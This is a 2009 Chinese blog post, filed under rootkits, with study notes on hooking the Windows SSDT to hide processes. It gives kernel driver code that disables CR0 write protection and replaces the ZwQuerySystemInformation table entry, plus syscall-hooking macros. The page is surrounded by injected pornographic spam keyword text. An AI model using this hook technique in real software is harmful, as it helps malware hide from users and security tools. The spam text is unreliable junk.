青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

HOOK SSDT Hide Process (三)

Posted on 2009-10-25 16:06 S.l.e!ep.¢% 閱讀(496) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
前:HOOK SSDT Hide Process (二)

[新資料] SSDT HIDE Process
[舊資料] HOOK SSDT實現進程隱藏

舊資料中的 Hook 是如此實現的

  1. VOID Hook()
  2. {
  3. ? ? ? ? DbgPrint("Entry Hook()\n");
  4. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
  5. ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????//的ID號是0xADh
  6. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
  7. ? ? ? ? //保存原來函數的地址
  8. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
  9. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
  10. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);
  11. ? ?//取消內存寫保護
  12. ??_asm
  13. ??{
  14. ? ? cli
  15. ???
  16. ? ?? ?mov??eax,cr0??
  17. ? ?? ?and??eax,not 10000h
  18. ? ?? ?mov??cr0,eax
  19. ??????
  20. ??}
  21. ???
  22. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
  23. ??
  24. ??//還原內存寫保護
  25. ??_asm
  26. ??{??
  27. ??
  28. ? ? mov??eax,cr0
  29. ? ?? ?or? ?eax,10000h
  30. ? ?? ?mov??cr0,eax
  31. ? ?? ?sti
  32. ??
  33. ??
  34. ??}
  35. }

OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;
//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh
1. zwquerysysteminformationde的ID號是0xADh?? 這個ID是如何得來的?
A: 用 Windbg? u 顯示 zwquerysysteminformation 所在地址都可以看到, 見Q3

Q2. 4表示指針的大小?如果在 64機器上就應該是 8 了?
A:?? 是的,所以正規寫法應該是
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

Q3. 另一種寫法是
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
// save old system call locations
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

*(PULONG) 是地址的偏移類型, 相關于 *4, 但 PUCHAR 又是什么? _function+1 又表示什么?
"將_Function+1即可確定ServiceID的位置,即在系統服務調度表中的入口地址"

A:四個有用的宏
SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導出函數,以Zw*開頭函數的地址,這個函數的返回值就是Nt*函數,Nt*函數的地址就在SSDT中
SYSCALL_INDEX macro:獲得Zw*函數的地址并返回與之通信的函數在SSDT中的索引。
這兩個宏之所以能工作,是因為所有的Zw*函數都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統調用函數在SSDT中的索引。
例:
00401023????? A1 94214000??????? mov???? eax, dword ptr [402194]
A1 表示?? ?mov eax
94214000 表示ULONG
所有 Zw* 開頭的函數最開始的第一條指令是? MOV eax, ULONG, 這里的ULONG就是系統調用函數在SSDT中的索引。
_function 是函數地址, (PUCHAR)_function+1?? 指向 ULONG, 再把它轉成 PULONG? ,就可以拿到 系統調用函數在SSDT中的索引 (Nt*函數的地址)


HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數的地址,取得他的索引,自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
這四個宏具體是:
#define SYSTEMSERVICE(_func)?KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
??
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
??
#define HOOK_SYSCALL(_Function, _Hook, _Orig )??\
_Orig = (PVOID) InterlockedExchange( (PLONG)???\
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
??
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )??\
InterlockedExchange((PLONG)?\
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

Hook SSDT 其實就是把 SSDT 里面的函數地址替換成自己的處理函數, 一般在 DriverEntry() 就HOOK了
在 DriverUnload() 里再把 SSDT 里面的函數地址還原?

在寫 KeServiceDescriptorTable.ServiceTableBase? 時有一個重要步驟
需要去掉'內存保護'才可以寫入
Q:為何這個變量會受到'內存保護'?? 受'內存保護'的意義是?既然有辦法去掉'內存保護',那為何還要保護呢?

目前所知,去掉'內存保護'有兩種方法
1. 設置 CR0 寄存器的標志位
2. MDL

Q1: 這兩種方法的區別是什么?
Q2: MDL 的原理又是什么?

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美国产日本高清在线| 欧美在线亚洲| 极品尤物av久久免费看| 久久裸体艺术| 久久经典综合| 亚洲精品一区二区三区福利| 久久精品卡一| 老司机精品久久| 亚洲精品乱码久久久久久日本蜜臀| 亚洲美女在线视频| 欧美大胆成人| 在线观看亚洲精品| 麻豆精品91| 久久男女视频| 91久久综合| 欧美黑人一区二区三区| 麻豆精品网站| 欧美夜福利tv在线| 欧美一区亚洲二区| 亚洲区欧美区| 欧美伊人久久久久久久久影院| 亚洲午夜久久久久久久久电影网| 亚洲影视综合| 欧美韩国一区| 亚洲人久久久| 亚洲国产成人精品视频| 国产精品综合不卡av| 亚洲色图自拍| 午夜在线成人av| 免费在线看一区| 夜夜嗨av一区二区三区四区| 久久99伊人| 国产精品国产福利国产秒拍| 黄色成人在线网址| 亚洲在线观看免费视频| 欧美黄色成人网| 欧美制服丝袜第一页| 欧美视频中文一区二区三区在线观看| 狠狠色丁香久久婷婷综合_中| 国产精品99久久久久久宅男| 久久综合伊人77777蜜臀| 中文精品视频| 欧美剧在线免费观看网站| 国产亚洲成精品久久| 亚洲线精品一区二区三区八戒| 男男成人高潮片免费网站| 午夜亚洲伦理| 国产啪精品视频| 亚洲深夜福利视频| 亚洲人成网站在线播| 正在播放欧美一区| 亚洲国产精品久久久久婷婷884 | 亚洲视频网站在线观看| 久久久福利视频| 国模精品一区二区三区| 午夜精品在线看| 亚洲综合国产| 国产精品久久久久久久久久久久久久 | 猛干欧美女孩| 久久精品国产欧美亚洲人人爽| 国产精品亚洲综合一区在线观看| 亚洲一区二区精品| 在线中文字幕日韩| 国产精品欧美久久| 午夜一区在线| 欧美一区二区三区在线播放| 国产视频精品免费播放| 久久精品综合一区| 久久久精品一区| 在线电影院国产精品| 欧美a级一区| 欧美高清视频一二三区| 中国成人亚色综合网站| 一本一本久久| 国产一区二区三区不卡在线观看| 久久亚洲图片| 欧美激情视频一区二区三区在线播放 | 亚洲欧美国产三级| 午夜精彩视频在线观看不卡| 国产亚洲成人一区| 欧美 日韩 国产 一区| 美女黄毛**国产精品啪啪| 亚洲肉体裸体xxxx137| 亚洲精品国精品久久99热一| 欧美日韩黄色一区二区| 校园激情久久| 免费欧美日韩国产三级电影| 一区二区精品在线| 亚洲欧美一区二区视频| 伊人久久亚洲热| 9l国产精品久久久久麻豆| 国产亚洲精品美女| 亚洲国产一区在线| 国产精品视频xxx| 欧美激情第3页| 国产色婷婷国产综合在线理论片a| 欧美成人午夜激情在线| 国产精品欧美日韩一区二区| 免费不卡欧美自拍视频| 国产精品a久久久久久| 夜夜嗨网站十八久久| 最新日韩欧美| 亚洲小少妇裸体bbw| 亚洲国产一区二区三区在线播| 一区二区欧美在线| 亚洲观看高清完整版在线观看| 99re热这里只有精品视频| 国语自产精品视频在线看抢先版结局| 亚洲美女在线一区| 亚洲精品国产视频| 久久国产一区二区| 午夜精品视频在线| 欧美日韩国产电影| 欧美成人一二三| 国产亚洲一区在线| 一区二区三区你懂的| 亚洲精品久久久久久久久| 欧美一乱一性一交一视频| 亚洲一区影音先锋| 欧美日韩国产精品成人| 欧美激情网友自拍| 一色屋精品亚洲香蕉网站| 午夜精品电影| 欧美在线影院| 国产日韩精品一区二区| 亚洲无线一线二线三线区别av| 亚洲精品网址在线观看| 久久美女艺术照精彩视频福利播放| 亚洲欧美中文在线视频| 欧美性猛交视频| 一区二区三区免费看| 亚洲一区二区三区精品视频 | 欧美黄色aa电影| 欧美高清在线| 亚洲激情视频| 欧美成人综合网站| 欧美~级网站不卡| 亚洲国产成人av| 欧美国产欧美亚洲国产日韩mv天天看完整 | 国产精品一区二区男女羞羞无遮挡| 日韩亚洲不卡在线| 一区二区三区久久精品| 欧美日韩成人在线| 中文一区二区| 久久电影一区| 亚洲国产另类久久精品| 欧美国产免费| 亚洲天堂免费观看| 久久久中精品2020中文| 亚洲国产精品尤物yw在线观看| 欧美福利网址| 中文久久精品| 久久久噜噜噜久久中文字幕色伊伊| 国产一区二区在线免费观看| 久久精品综合网| 亚洲国产综合视频在线观看| 在线一区观看| 国产在线欧美日韩| 欧美肥婆在线| 亚洲一区二区三区在线| 国产一区二区三区无遮挡| 亚洲精品国产精品乱码不99按摩| 亚洲午夜视频在线| 国产日韩欧美| 欧美jizzhd精品欧美喷水| 亚洲精品女av网站| 亚洲一区二区在线| 黄色一区二区三区四区| 欧美精品久久一区二区| 亚洲一区在线播放| 欧美1区免费| 午夜欧美大片免费观看| 亚洲欧洲日韩综合二区| 国产精品免费一区二区三区在线观看 | 亚洲丰满在线| 国产精品久久97| 牛牛国产精品| 欧美亚洲视频一区二区| 亚洲日本一区二区| 久久久久一区二区三区| 亚洲专区欧美专区| 亚洲国产清纯| 国产一区二区三区成人欧美日韩在线观看 | 亚洲第一精品夜夜躁人人爽| 国产精品电影在线观看| 另类亚洲自拍| 亚欧成人精品| 一本一本久久| 亚洲人永久免费| 麻豆久久精品| 欧美在线视频二区| 亚洲专区一区| 一区二区免费在线观看| 在线播放豆国产99亚洲| 国产精品草草| 欧美日韩一区高清| 欧美美女日韩| 欧美护士18xxxxhd| 欧美激情精品久久久久久变态| 久久九九热re6这里有精品|